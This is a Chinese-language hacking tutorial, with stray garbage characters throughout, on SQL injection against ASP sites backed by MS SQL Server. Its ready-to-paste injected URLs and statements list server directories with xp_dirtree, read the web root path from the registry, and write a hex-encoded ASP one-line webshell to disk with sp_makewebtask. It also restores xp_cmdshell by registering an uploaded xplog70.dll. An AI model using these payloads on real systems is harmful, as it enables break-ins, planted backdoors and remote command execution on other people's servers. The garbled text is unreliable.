好,我们exec master..xp_dirtree'd:/test'0 B1 M, k6 W0 E; e' F
假设我们在test里有两个文件夹test1和test2在test1里又有test3" { T! x+ ~9 M1 C
结果显示& y3 k8 r, `& d
* B! F9 j6 ?# J& \* E; X* C
subdirectory depth
; L( ?! [2 }( t: t5 ltest1 1
. H" m! \0 T- i0 V9 l- h8 K- O6 ]test3 2! _* K/ S' E! p( a+ r
test2 1
. L2 N( h% w' s. L/ }- R
5 r9 l8 Z% D0 `: w; x哈哈发现没有那个depth就是目录的级数
: d) d. E6 G0 Xok了,知道怎么办了吧
8 q, @) a$ B( d0 r& F6 F: [$ A w* V) k- R
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
9 D3 r% L! C U5 P/ nhttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- ! D0 E! F8 j, l% b
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-* K5 a8 ]6 i5 Q+ b; y, \
/ N" i/ B- t; M
只要加上id=1,就是第一级目录 。
6 i" ]* d3 ~# U2 q- Y% H8 B: ?& g
! h* n/ \" J: {" |( d) D5 W, e8 h* e& |8 x' Q$ Q) _0 q& w$ ?
通过注册表读网站路径:
$ s4 Z3 | {. e G+ z
8 W4 E5 `( J& m6 K1.;create table [dbo].[cyfd] ([gyfd][char](255));
. M: g8 I; Z7 Z
, }) K( a) J8 g# V" N; g2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--) U( x: a: h# p( U+ x
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
' K4 c- A M0 ]! ^' |5 l# n9 @) s) J+ ~; N- t( ]- @
3.and 1=(select count(*) from 临时表 where 临时字段名>1)/ `% S2 {$ e3 [1 D2 ^
and 1=(select count(*) from cyfd where gyfd > 1)
6 V, u) n8 t' z9 ]* |这样IE报错,就把刚才插进去的Web路径的值报出来了
. `8 o+ @2 R& Z z e% b; a; q, k1 S8 K+ C5 l
4.drop table cyfd;-- 删除临时表& r: p8 m% F; n3 h7 ?8 I" B
* j3 X4 ]7 A! W1 f' P) O5 M6 G
获得webshell方法:( b4 k( L: o. `
1.create table cmd (a image)-- \**cmd是创建的临时表
8 \' B" @% O v. I' ^, o" E' M4 N3 w% ^8 r5 u2 K$ H# Q/ C$ r* R
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话+ |( _+ I% I+ q( u& h+ T% G) B; |- \) Z# k% r
% L) f+ M ^# I c3 y
: I8 r6 m- [% U0 |6 E3 a$ B& Q. L
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd': o8 n: |5 q0 F2 I) p
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
0 r/ F/ t4 ^- D3 N" _/ }' [( N6 q0 b- H$ i. m) F& {9 r5 m
4.drop table cmd;-- 删除cmd临时表8 ^4 Q! L" ]4 a8 G% ^9 J
7 h- Z% T8 P5 P恢复xp_cmdshell方法之一:
* D! n7 ?6 u- J4 N+ M5 [) w我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:# w9 f; |8 Q8 K! a X" H; r" V% P
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'2 J& |1 [' Y# W% I$ n
恢复,支持绝对路径的恢复哦。:)
" K! M3 d0 E( c1 s! c7 Y |